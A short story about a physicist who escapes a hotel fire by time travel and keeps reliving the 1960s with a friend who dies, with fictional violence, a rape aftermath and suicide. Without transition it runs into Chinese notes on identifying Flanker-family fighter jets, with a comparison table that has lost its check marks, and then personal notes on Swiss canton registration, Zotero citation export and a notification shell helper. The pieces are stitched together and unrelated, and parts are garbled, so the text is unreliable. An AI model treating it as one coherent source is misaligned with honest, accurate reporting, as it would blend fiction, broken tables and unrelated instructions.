I depart, and my ripples diverge to infinity, like waves smoothing out the footprints of forgotten travellers.


We were so caeful to avoid any paradox, the day we first tested my machine. We pasted a duct-tape cross onto the concrete floor of a windowless lab, placed an alarm clock on the mark, and locked the door. An hour later we came back, removed the clock, and put the experimental machine in the room with a super-eight camera set in the coils. I aimed the camera at the X, and one of my grad students programmed the machine to send the camera back half an hour, stay in the past five minutes, then return. It left and returned without even a flicker. When we developed the film, the time on the clock was half an hour before we loaded the camera. We'd succeeded in opening the door into the past. We celebrated with coffee and champagne.

Now that I know a lot more about time, I understand our mistake, that we had not thought to put a movie camera in the room with the clock to photograph the machine as it arrived from the future. But what is obvious to me now was not obvious then.


I arrive, and the ripples converge to the instant now from the vastness of the infinite sea.

To San Francisco, June 8, 1965. A warm breeze riffles across dandelion-speckled grass, while puffy white clouds form strange and wondrous shapes for our entertainment. Yet so very few people pause to enjoy it. They scurry about, diligently preoccupied, believing that if they act busy enough, they must be important. "They hurry so," I say. "Why can't they slow down, sit back, enjoy the day?"

"They're trapped in the illusion of time," says Dancer. He lies on his back and blows a soap bubble, his hair flopping back long and brown in a time when "long" hair meant anything below the ear. A puff of breeze takes the bubble down the hill and into the stream of pedestrians. They uniformly ignore it. "They're caught in the belief that what they do is important to some future goal." The bubble pops against a briefcase, and Dancer blows another. "You and I, we know how false an illusion that is. There is no past, no future, only the now, eternal."

He was right, more right than he could have possibly imagined.

Once I, too, was preoccupied and self-important. Once I was brilliant and ambitious. I was twenty-eight years old, and I made the greatest discovery in the world.


From my hiding place I watched him come up the service elevator. He was thin almost to the point of starvation, a nervous man with stringy blond hair and an armless white T-shirt. He looked up and down the hall, but failed to see me hidden in the janitor's closet. Under each arm was a two-gallon can of gasoline, in each hand another. He put down three of the cans and turned the last one upside down, then walked down the hall, spreading a pungent trail of gasoline. His face was blank. When he started on the second can, I figured it was about enough. As he passed my hiding spot, I walloped him over the head with a wrench, and called hotel security. Then I went back to the closet and let the ripples of time converge.

I arrived in a burning room, flames licking forth at me, the heat almost too much to bear. I gasped for breath—a mistake—and punched at the keypad.

Notes on the Theory and Practice of Time Travel:

  1. Travel is possible only into the past.
  2. The object transported will return to exactly the time and place of departure.
  3. It is not possible to bring objects from the past to the present.
  4. Actions in the past cannot change the present.

One time I tried jumping back a hundred million years, to the Cretaceous, to see dinosaurs. All the picture books show the landscape as being covered with dinosaurs. I spent three days wandering around a swamp—in my new tweed suit—-before catching even a glimpse of any dinosaur larger than a basset hound. That one—a theropod of some sort, I don't know which—skittered away as soon as it caught a whiff of me. Quite a disappointment.


My professor in transfinite math used to tell stories about a hotel with an infinite number of rooms. One day all the rooms are full, and another guest arrives. "No problem," says the desk clerk. He moves the person in room one into room two, the person in room two into room three, and so on. Presto! A vacant room.

A little later, an infinite number of guests arrive. "No problem," says the dauntless desk clerk. He moves the person in room one into room two, the person in room two into room four, the person in room three into room six, and so on. Presto! An infinite number of rooms vacant.

My time machine works on just that principle.


Again I return to 1965, the fixed point, the strange attractor to my chaotic trajectory. In years of wandering I've met countless people, but Daniel Ranien—Dancer—was the only one who truly had his head together. He had a soft, easy smile, a battered secondhand guitar, and as much wisdom as it has taken me a hundred lifetimes to learn. I've known him in good times and bad, in summer days with blue skies that we swore would last a thousand years, in days of winter blizzards with drifted snow piled high over our heads. In happier times we have laid roses into the barrels of rifles; we have laid our bodies across the city streets in the midst of riots, and not been hurt. And I have been with him when he died, once, twice, a hundred times over.

He died on February 8, 1969, a month into the reign of King Richard the Trickster and his court fool Spiro, a year before Kent State and Altamont and the secret war in Cambodia slowly strangled the summer of dreams. He died, and there was—is—nothing I can do. The last time he died I dragged him to a hospital, where I screamed and ranted until finally I convinced them to admit him for observation, though nothing seemed wrong with him. With X rays and arteriograms and radioactive tracers, they found the incipient bubble in his brain; they drugged him, shaved his beautiful long brown hair, and operated on him, cutting out the offending capillary and tying it off neatly. When the anesthetic wore off, I sat in the hospital room and held his hand. There were big purple blotches under his eyes. He gripped my hand and stared, silent, into space. Visiting hours or no, I didn't let them throw me out of the room. He just stared. In the gray hours just before dawn he sighed softly and died. There was nothing at all that I could do.


Time travel is subject to two constraints: conservation of energy, and causality. The energy to appear in the past is only borrowed from the Dirac sea, and since ripples in the Dirac sea propagate in the negative direction, transport is only into the past. Energy is conserved in the present as long as the object transported returns with zero time delay, and the principle of causality assures that actions in the past cannot change the present. For example, what if you went into the past and killed your father? Who, then, would invent the time machine?

Once I tried to commit suicide by murdering my father, before he met my mother, twenty-three years before I was born. It changed nothing, of course, and even when I did it, I knew it would change nothing. But you have to try these things. How else could I know for sure?


Next we tried sending a rat back. It made the trip through the Dirac sea and back undamaged. Then we tried a trained rat, one we borrowed from the psychology lab across the green without telling them what we wanted it for. Before its little trip it had been taught to run through a maze to get a piece of bacon. Afterwards, it ran the maze as fast as ever.

We still had to try it on a human. I volunteered myself and didn't allow anyone to talk me out of it. By trying it on myself, I dodged the university regulations about experimenting on humans.

The dive into the negative-energy sea felt like nothing at all. One moment I stood in the center of the loop of Renselz coils, watched by my two grad students and a technician; the next I was alone, and the clock had jumped back exactly one hour. Alone in a locked room with nothing but a camera and a clock, that moment was the high point of my life.

The moment when I first met Dancer was the low point. I was in Berkeley, a bar called Trishia's, slowly getting trashed. I'd been doing that a lot, caught between omnipotence and despair. It was 1967. 'Frisco then—it was the middle of the hippy era—seemed somehow appropriate.

There was a girl, sitting at a table with a group from the university. I walked over to her table and invited myself to sit down. I told her she didn't exist, that her whole world didn't exist, it was all created by the fact that I was watching, and would disappear back into the sea of unreality as soon as I stopped looking. Her name was Lisa, and she argued back. Her friends, bored, wandered off, and in a while Lisa realized just how drunk I was. She dropped a bill on the table and walked out into the foggy night.

I followed her out. When she saw me following, she clutched her purse and bolted.

He was suddenly there under the streetlight. For a second I thought he was a girl. He had bright blue eyes and straight brown hair down to his shoulders. He wore an embroidered Indian shirt, with a silver and turquoise medallion around his neck and a guitar slung across his back. He was lean, almost stringy, and moved like a dancer or a karate master. But it didn't occur to me to be afraid of him.

He looked me over. "That won't solve your problem, you know," he said.

And instantly I was ashamed. I was no longer sure exactly what I'd had in mind or why I'd followed her. It had been years since I'd first fled my death, and I had come to think of others as unreal, since nothing I could do would permanently affect them. My head was spinning. I slid down the wall and sat down, hard, on the sidewalk. What had I come to?

He helped me back into the bar, fed me orange juice and pretzels, and got me to talk. I told him everything. Why not, since I could unsay anything I said, undo anything I did? But I had no urge to. He listened to it all, saying nothing. No one else had ever listened to the whole story before. I can't explain the effect it had on me. For uncountable years I'd been alone, and then, if only for a moment… It hit me with the intensity of a tab of acid. If only for a moment, I was not alone.

We left arm in arm. Half a block away, Dancer stopped, in front of an alley. It was dark.

"Something not quite right here." His voice had a puzzled tone.

I pulled him back. "Hold on. You don't want to go down there—" He pulled free and walked in. After a slight hesitation, I followed.

The alley smelled of old beer, mixed with garbage and stale vomit. In a moment, my eyes became adjusted to the dark.

Lisa was cringing in a corner behind some trash cans. Her clothes had been cut away with a knife, and lay scattered around. Blood showed dark on her thighs and one arm. She didn't seem to see us. Dancer squatted down next to her and said something soft. She didn't respond. He pulled off his shirt and wrapped it around her, then cradled her in his arms and picked her up. "Help me get her to my apartment."

"Apartment, hell. We'd better call the police," I said.

"Call the pigs? Are you crazy? You want them to rape her, too?"

I'd forgotten; this was the sixties. Between the two of us, we got her to Dancer's VW bug and took her to his apartment in The Hash-bury. He explained it to me quietly as we drove, a dark side of the summer of love that I'd not seen before. It was greasers, he said. They come down to Berkeley because they heard that hippie chicks gave it away free, and get nasty when they met one who thought otherwise.

Her wounds were mostly superficial. Dancer cleaned her, put her in bed, and stayed up all night beside her, talking and crooning and making little reassuring noises. I slept on one of the mattresses in the hall. When I woke up in the morning, they were both in his bed. She was sleeping quietly. Dancer was awake, holding her. I was aware enough to realize that that was all he was doing, holding her, but still I felt a sharp pang of jealousy, and didn't know which one of them it was that I was jealous of.


Notes for a Lecture on Time Travel

The beginning of the twentieth century was a time of intellectual giants, whose likes will perhaps never again be equaled. Einstein had just invented relativity, Heisenberg and Schrodinger quantum mechanics, but nobody yet knew how to make the two theories consistent with each other. In 1930, a new person tackled the problem. His name was Paul Dirac. He was twenty-eight years old. He succeeded where the others had failed.

His theory was an unprecedented success, except for one small detail. According to Dirac's theory, a particle could have either positive or negative energy. What did this mean, a particle of negative energy? How could something have negative energy? And why don't ordinary—positive energy—particles fall down into these negative energy states, releasing a lot of free energy in the process?

You or I might have merely stipulated that it was impossible for an ordinary positive energy particle to make a transition to negative energy. But Dirac was not an ordinary man. He was a genius, the greatest physicist of all, and he had an answer. If every possible negative energy state was already occupied, a particle couldn't drop into a negative energy state. Ah ha! So Dirac postulated that the entire universe is entirely filled with negative energy particles. They surround us, permeate us, in the vacuum of outer space and in the center of the earth, every possible place a particle could be. An infinitely dense "sea" of negative energy particles. The Dirac sea.

His argument had holes in it, but that comes later.


Once I went to visit the crucifixion. I took a jet from Santa Cruz to Tel Aviv, and a bus from Tel Aviv to Jerusalem. On a hill outside the city, I dove through the Dirac sea.

I arrived in my three-piece suit. No way to help that, unless I wanted to travel naked. The land was surprisingly green and fertile, more so than I'd expected. The hill was now a farm, covered with grape arbors and olive trees. I hid the coils behind some rocks and walked down to the road. I didn't get far. Five minutes on the road, I ran into a group of people. They had dark hair, dark skin, and wore clean white tunics. Romans? Jews? Egyptians? How could I tell? They spoke to me, but I couldn't understand a word. After a while two of them held me, while a third searched me. Were they robbers, searching for money? Romans, searching for some kind of identity papers? I realized how naive I'd been to think I could just find appropriate dress and somehow blend in with the crowds. Finding nothing, the one who'd done the search carefully and methodically beat me up. At last he pushed me face down in the dirt. While the other two held me down, he pulled out a dagger and slashed through the tendons on the back of each leg. They were merciful, I guess. They left me with my life. Laughing and talking incomprehensibly among themselves, they walked away.

My legs were useless. One of my arms was broken. It took me four hours to crawl back up the hill, dragging myself with my good arm. Occasionally people would pass by on the road, studiously ignoring me. Once I reached the hiding place, pulling out the Renselz coils and wrapping them around me was pure agony. By the time I entered return on the keypad I was wavering in and out of consciousness. I finally managed to get it entered. From the Dirac sea the ripples converged and I was in my hotel room in Santa Cruz. The ceiling had started to fall in where the girders had burned through. Fire alarms shrieked and wailed, but there was no place to run. The room was filled with dense, acrid smoke. Trying not to breathe, I punched out a code on the keypad, somewhen, anywhen other than that one instant and I was in the hotel room, five days before. I gasped for breath. The woman in the hotel bed shrieked and tried to pull the covers up. The man screwing her was too busy to pay any mind. They weren't real anyway. I ignored them and paid a little more attention to where to go next. Back to '65, I figured. I punched in the combo and was standing in an empty room on the thirtieth floor of a hotel just under construction. A full moon gleamed on the silhouettes of silent construction cranes. I flexed my legs experimentally. Already the memory of the pain was beginning to fade. That was reasonable, because it had never happened.

Time travel. It's not immortality, but it's got to be the next best thing.

You can't change the past, no matter how you try.


In the morning I explored Dancer's pad. It was crazy, a small third-floor apartment a block off Haight Ashbury that had been converted into something from another planet. The floor of the apartment had been completely covered with old mattresses, on top of which was a jumbled confusion of quilts, pillows, Indian blankets, stuffed animals. You took off your shoes before coming in—Dancer always wore sandals, leather ones from Mexico with soles cut from old tires. The radiators, which didn't work anyway, were spray painted in Day-Glo colors. The walls were plastered with posters: Peter Max prints, brightly colored Eschers, poems by Allen Ginsberg, record album covers, peace-rally posters, a "Haight Is Love" sign, FBI ten-most-wanted posters torn down from a post office with the photos of famous antiwar activists circled in magic marker, a huge peace symbol in passion-pink. Some of the posters were illuminated with black light and luminesced in impossible colors. The air was musty with incense and the banana-sweet smell of dope. In one corner a record player played Sergeant Peppers' Lonely Hearts Club Band on infinite repeat. Whenever one copy of the album got too scratchy, inevitably one of Dancer's friends would bring in another.

He never locked the door. "Somebody wants to rip me off, well, hey, they probably need it more than I do anyway, okay? It's cool." People dropped by any time of day or night.

I let my hair grow long. Dancer and Lisa and I spent that summer together, laughing, playing guitar, making love, writing silly poems and sillier songs, experimenting with drugs. That was when LSD was blooming onto the scene like sunflowers, when people were still unafraid of the strange and beautiful world on the other side of reality. That was a time to live. I knew that it was Dancer that Lisa truly loved, not me, but in those days free love was in the air like the scent of poppies, and it didn't matter. Not much, anyway.


Notes for a Lecture on Time Travel (continued)

Having postulated that all of space was filled with an infinitely dense sea of negative energy particles, Dirac went further and asked if we, in the positive-energy universe, could interact with this negative-energy sea. What would happen, say, if you added enough energy to an electron to take it out of the negative-energy sea? Two things: first, you would create an electron, seemingly out of nowhere. Second, you would leave behind a "hole" in the sea. The hole, Dirac realized, would act as if it were a particle itself, a particle exactly like an electron except for one thing: it would have the opposite charge. But if the hole ever encountered an electron, the electron would fall back into the Dirac sea, annihilating both electron and hole in a bright burst of energy. Eventually they gave the hole in the Dirac sea a name of its own: "positron." When Anderson discovered the positron two years later to vindicate Dirac's theory, it was almost an anticlimax.

And over the next fifty years, the reality of the Dirac sea was almost ignored by physicists. Antimatter, the holes in the sea, was the important feature of the theory; the rest was merely a mathematical artifact.

Seventy years later, I remembered the story my transfinite math teacher told and put it together with Dirac's theory. Like putting an extra guest into a hotel with an infinite number of rooms, I figured out how to borrow energy from the Dirac sea. Or, to put it another way: I learned how to make waves.

And waves on the Dirac sea travel backward in time.


Next we had to try something more ambitious. We had to send a human back farther into history, and obtain proof of the trip. Still we were afraid to make alterations in the past, even though the mathematics stated that the present could not be changed.

We pulled out our movie camera and chose our destinations carefully.

In September of 1853 a traveler named William Hapland and his family crossed the Sierra Nevadas to reach the California coast. His daughter Sarah kept a journal, and in it she recorded how, as they reached the crest of Parker's Ridge, she caught her first glimpse of the distant Pacific ocean exactly as the sun touched the horizon, "in a blays of cryms'n glorie," as she wrote. The journal still exists. It was easy enough for us to conceal ourselves and a movie camera in a cleft of rocks above the pass, to photograph the weary travelers in their ox-drawn wagon as they crossed.

The second target was the great San Francisco earthquake of 1906. >From a deserted warehouse that would survive the quake—but not the following fire—we watched and took movies as buildings tumbled down around us and embattled firemen in horse-drawn fire-trucks strove in vain to quench a hundred blazes. Moments before the fire reached our building, we fled into the present.

The films were spectacular.

We were ready to tell the world.

There was a meeting of the AAAS in Santa Cruz in a month. I called the program chairman and wangled a spot as an invited speaker without revealing just what we'd accomplished to date. I planned to show those films at the talk. They were to make us instantly famous.


The day that Dancer died we had a going-away party, just Lisa and Dancer and I. He knew he was going to die; I'd told him and somehow he believed me. He always believed me. We stayed up all night, playing Dancer's secondhand guitar, painting psychedelic designs on each other's bodies with greasepaint, competing against each other in a marathon game of cutthroat Monopoly, doing a hundred silly, ordinary things that took meaning only from the fact that it was the last time. About four in the morning, as the glimmer of false-dawn began to show in the sky, we went down to the bay and, huddling together for warmth, went tripping. Dancer took the largest dose, since he wasn't going to return. The last thing he said, he told us not to let our dreams die; to stay together.

We buried Dancer, at city expense, in a welfare grave. We split up three days later.

I kept in touch with Lisa, vaguely. In the late seventies she went back to school, first for an MBA, then law school. I think she was married for a while. We wrote each other cards on Christmas for a while, then I lost track of her. Years later, I got a letter from her. She said that she was finally able to forgive me for causing Dan's death.

It was a cold and foggy February day, but I knew I could find warmth in 1965. The ripples converged.


Anticipated questions from the audience:

Q (old, stodgy professor): It seems to me this proposed temporal jump of yours violates the law of conservation of mass/energy. For example, when a transported object is transported into the past, a quantity of mass will appear to vanish from the present, in clear violation of the conservation law.

A (me): Since the return is to the exact time of departure, the mass present is constant.

Q: Very well, but what about the arrival in the past? Doesn't this violate the conservation law?

A: No. The energy needed is taken from the Dirac sea, by the mechanism I explain in detail in the Phys Rev paper. When the object returns to the "future," the energy is restored to the sea.

Q (intense young physicist): Then doesn't Heisenberg uncertainty limit the amount of time that can be spent in the past?

A: A good question. The answer is yes, but because we borrow an infinitesimal amount of energy from an infinite number of particles, the amount of time spent in the past can be arbitrarily large. The only limitation is that you must leave the past an instant before you depart from the present.


In half an hour I was scheduled to present the paper that would rank my name with Newton's and Galileo's—and Dirac's. I was twenty-eight years old, the same age as Dirac when he announced his theory. I was a firebrand, preparing to set the world aflame. I was nervous, rehearsing the speech in my hotel room. I took a swig out of an old Coke that one of my grad students had left sitting on top of the television. The evening news team was babbling on, but I wasn't listening.

I never delivered that talk. The hotel had already started to burn; my death was already foreordained. Tie neat, I inspected myself in the mirror, then walked to the door. The doorknob was warm. I opened it onto a sheet of fire. Flame burst through the opened door like a ravening dragon. I stumbled backward, staring at the flames in amazed fascination.

Somewhere in the hotel I heard a scream, and all at once I broke free of my spell. I was on the thirtieth story; there was no way out. My thought was for my machine. I rushed across the room and threw open the case holding the time machine. With swift, sure fingers I pulled out the Renselz coils and wrapped them around my body. The carpet had caught on fire, a sheet of flame between me and any possible escape. Holding my breath to avoid suffocation, I punched an entry into the keyboard and dove into time.

I return to that moment again and again. When I hit the final key, the air was already nearly unbreathable with smoke. I had about thirty seconds left to live, then. Over the years I've nibbled away my time down to ten seconds or less.

I live on borrowed time. So do we all, perhaps. But I know when and where my debt will fall due.


Dancer died on February 9, 1969. It was a dim, foggy day. In the morning he said he had a headache. That was unusual, for Dancer. He never had headaches. We decided to go for a walk through the fog. It was beautiful, as if we were alone in a strange, formless world. I'd forgotten about his headache altogether, until, looking out across the sea of fog from the park over the bay, he fell over. He was dead before the ambulance came. He died with a secret smile on his face. I've never understood that smile. Maybe he was smiling because the pain was gone.

Lisa committed suicide two days later.


You ordinary people, you have the chance to change the future. You can father children, write novels, sign petitions, invent new machines, go to cocktail parties, run for president. You affect the future with everything you do. No matter what I do, I cannot. It is too late for that, for me. My actions are written in flowing water. And having no effect, I have no responsibilities. It makes no difference what I do, not at all.

When I first fled the fire into the past, I tried everything I could to change it. I stopped the arsonist, I argued with mayors, I even went to my own house and told myself not to go to the conference.

But that's not how time works. No matter what I do, talk to a governor or dynamite the hotel, when I reach that critical moment— the present, my destiny, the moment I left—I vanish from whenever I was, and return to the hotel room, the fire approaching ever closer. I have about ten seconds left. Every time I dive through the Dirac sea, everything I changed in the past vanishes. Sometimes I pretend that the changes I make in the past create new futures, though I know this is not the case. When I return to the present, all the changes are wiped out by the ripples of the converging wave, like erasing a blackboard after a class.

Someday I will return and meet my destiny. But for now, I live in the past. It's a good life, I suppose. You get used to the fact that nothing you do will ever have any effect on the world. It gives you a feeling of freedom. I've been places no one has ever been, seen things no one alive has ever seen. I've given up physics, of course. Nothing I discover could endure past that fatal night in Santa Cruz. Maybe some people would continue for the sheer joy of knowledge. For me, the point is missing.

But there are compensations. Whenever I return to the hotel room, nothing is changed but my memories. I am again twenty-eight, again wearing the same three-piece suit, again have the fuzzy taste of stale cola in my mouth. Every time I return, I use up a little bit of time. One day I will have no time left.

Dancer, too, will never die. I won't let him. Every time I get to that final February morning, the day he died, I return to 1965, to that perfect day in June. He doesn't know me, he never knows me. But we meet on that hill, the only two willing to enjoy the day doing nothing. He lies on his back, idly fingering chords on his guitar, blowing bubbles and staring into the clouded blue sky. Later I will introduce him to Lisa. She won't know us either, but that's okay. We've got plenty of time.

"Time," I say to Dancer, lying in the park on the hill. "There's so much time."

"All the time there is," he says.

侧卫学101

看完这一篇你也能成为侧卫大师。

分类特征整理

基本类型侧卫 —— 俄系侧卫

座位座舱分界垂尾起落架空中加油IRST空速管气动布局其他备注
Su-27单座座舱机身
明显分界
垂尾切尖前轮单轮无空中加油接口居中有机首空速管普通翼身融合,无鸭翼座舱后有突起天线
Su-27UB双座座舱机身
平滑过渡
垂尾切尖前轮单轮无空中加油接口居中有机首空速管普通翼身融合,无鸭翼座舱后有突起天线教练机
Su-30双座座舱机身
平滑过渡
垂尾平行前轮双轮有空中加油接口侧偏有机首空速管普通翼身融合,无鸭翼Su-30MKK、Su-30MK2 也是这个基本构型
Su-30SM双座座舱机身
平滑过渡
垂尾切尖前轮双轮有空中加油接口侧偏有机首空速管有鸭翼出口印度、马来西亚和阿尔及利亚的 Su-30MKI/M/A 也是这个基本构型
Su-33单座座舱机身
明显分界
垂尾介于
切尖和平
行之间
前轮双轮有空中加油接口侧偏有机首空速管有鸭翼
Su-35单座座舱机身
明显分界
垂尾切尖前轮双轮有空中加油接口侧偏没有机首空速管普通翼身融合,无鸭翼雷达罩后方有 4 个小型 L 型空速管早期验证机其实有鸭翼

解放军版侧卫

首先,J-11 完全等同于 Su-27,J-15 模仿的是 Su-33,J-16 模仿的是 Su-30,所以可以按照判断 Su-27、Su-30、Su-33 的方法大致把看到的 PLA 飞机归类。但进一步判断改型则需要结合涂装、雷达罩、翼尖挂架等等来具体判断。

PLAAF 也买了一些俄方交付的 Su-27、Su-30 和 Su-35,和歼系(即使是组装的 J-11A)的最大区别就是没有编队灯。在此一并列出。

PLA 的海军飞机都是偏白的,空海军共有的飞机的海军机种后面会带 H(如 J-11BH),在此不做区分。(P.S. H for Haijun,哈哈哈哈)

基本型雷达罩备注
Su-27SKSu-27雷达罩有缺口有编号没有编队灯
Su-27UBKSu-27UB雷达罩有缺口有编号没有编队灯
教练机,双座的
J-11ASu-27雷达罩有缺口
J-11BSu-27黑色雷达罩
J-11BSSu-27UB黑色雷达罩教练机,双座的
J-15Su-33灰色雷达罩
J-16Su-30灰色雷达罩

基本型侧卫特征查表

单座 双座 座舱机身明显分界 座舱机身平滑过渡 垂尾不切尖 垂尾切尖 单前轮 双前轮 IRST居中 IRST偏左 有空中加油接口 无空中加油接口 无鸭翼 有鸭翼
Su-27
Su-27UB
Su-30MK
Su-30SM
Su-33
Su-35

名词解释

  • IRST:全称 Infra-Red Search and Track,红外跟踪与搜索技术。能够探测目标和空中背景的温差进行红外成像,和被动雷达类似,所以也被称为红外雷达。

参考

  1. 如何区分一众苏和歼? - kago嘉语的回答 - 知乎

Move back and forth from Basel to Zurich

Zurich to Basel

大体流程是:

  1. 网上申请换州(canton)
  2. 在苏黎世注销
  3. 通知后去当地的 Residents' Registration Office 登记

申请换州

德语原文:

Nicht EU/EFTA-Bürgerinnen und Bürger (Drittstaaten): Zuzug aus der Schweiz

  1. Einverständnis zum Kantonswechsel Falls noch nicht eingereicht, können Sie das Gesuch online oder als PDF (128 KB) einreichen
  2. Anmeldeformular ausgefüllt pro erwachsene Person
  3. Vorstrafen- und Wohnsitzerklärung ausgefüllt pro erwachsene Person
  4. Abmeldebescheinigung der letzten Wohnsitzgemeinde in der Schweiz
  5. Ausländerausweis (L / B / C)
  6. Gültiger Reisepass oder Identitätskarte (bei schriftlicher Anmeldung bitte farbige Kopie der Vorder- UND Rückseite der Identitätskarte)
  7. a) Zuzug von verheirateten Personen: Trauungsurkunde oder Familienbüchlein/-ausweis b) Für Kinder unter 21 Jahren: Familienbüchlein oder Geburtsurkunde c) Erklärung bei Kindern unter gemeinsamer elterlicher Sorge (PDF, 24 KB)
  8. Mietvertrag oder Wohnungsausweis*.

在线填写申请表

需要的文件:

  • 无犯罪记录声明,自己填一下就行
  • Permit B
  • 护照
  • 从苏黎世的注销证明
  • 房契
  • certificate of employment
  • 三个工资单

Basel to Zurich

大体流程仍然是先在网上申请换州,然后在 Basel Stadt 注销,最后去 Zurich 注册。

插曲:reactivate my residence status

My residence status was deactivated since I no longer live in my old residence in Basel and was not in Switzerland during June and July for my internship. During that time, a letter arrived and was sent back to the Migrationsamt, as a result they deactivated my residence status. I had to go to the Migrationsamt to reactivate it first.

The required documents are:

  • Rental agreement / contract showing that I occupied the place before I left Switzerland
  • Flight ticket showing that I am not in Switzerland during June and July
  • New rental agreement / contract
  • CHF 40

申请换州

Submit a contact form via this link.

The ZH-number is the "KANT.REFERENZ" on the back of your residence permit.

ZEMIS NR is the number in front of KANT.REFERENZ.

在申请换州时,最好把所需的文件全部提交,以免被要求补充(可能会用 slow mail,非常抽象)。

需要文件:

  • Passport scan
  • Permit B scan
  • Matriculation certificate
  • New rental agreement
  • Proof that you hold enough money for a year in your bank account

Citation generation

Genearte .bib

Use Zotero to manage references and export them as .bib files. Note that he bibliography can only be generated at the collection level.

  1. Right click on the collection to export
  2. Choose Export Collection
  3. Choose BibTeX or BibLaTeX as the export format
  4. Save the file

Generate copy-pasteable citation

Use mybib to generate IEEE citation (it can also generate other styles but I basically hate everthing else except IEEE).

Notify myself

notify-send

Works on Linux Desktop.

TODO: elaborate on this.

wsl-notify-send

For sending WSL notifications to Windows. Works as a toast.

Installation

Get wsl-notify-send.exe from the GitHub release page, unzip it (contains LICENSE, README.md and wsl-notify-send.exe), and put it in your PATH.

To use it conveniently similar to notif-send, add this to your shell rc file:

notify-send() {
    wsl-notify-send.exe --category $WSL_DISTRO_NAME "${@}";
}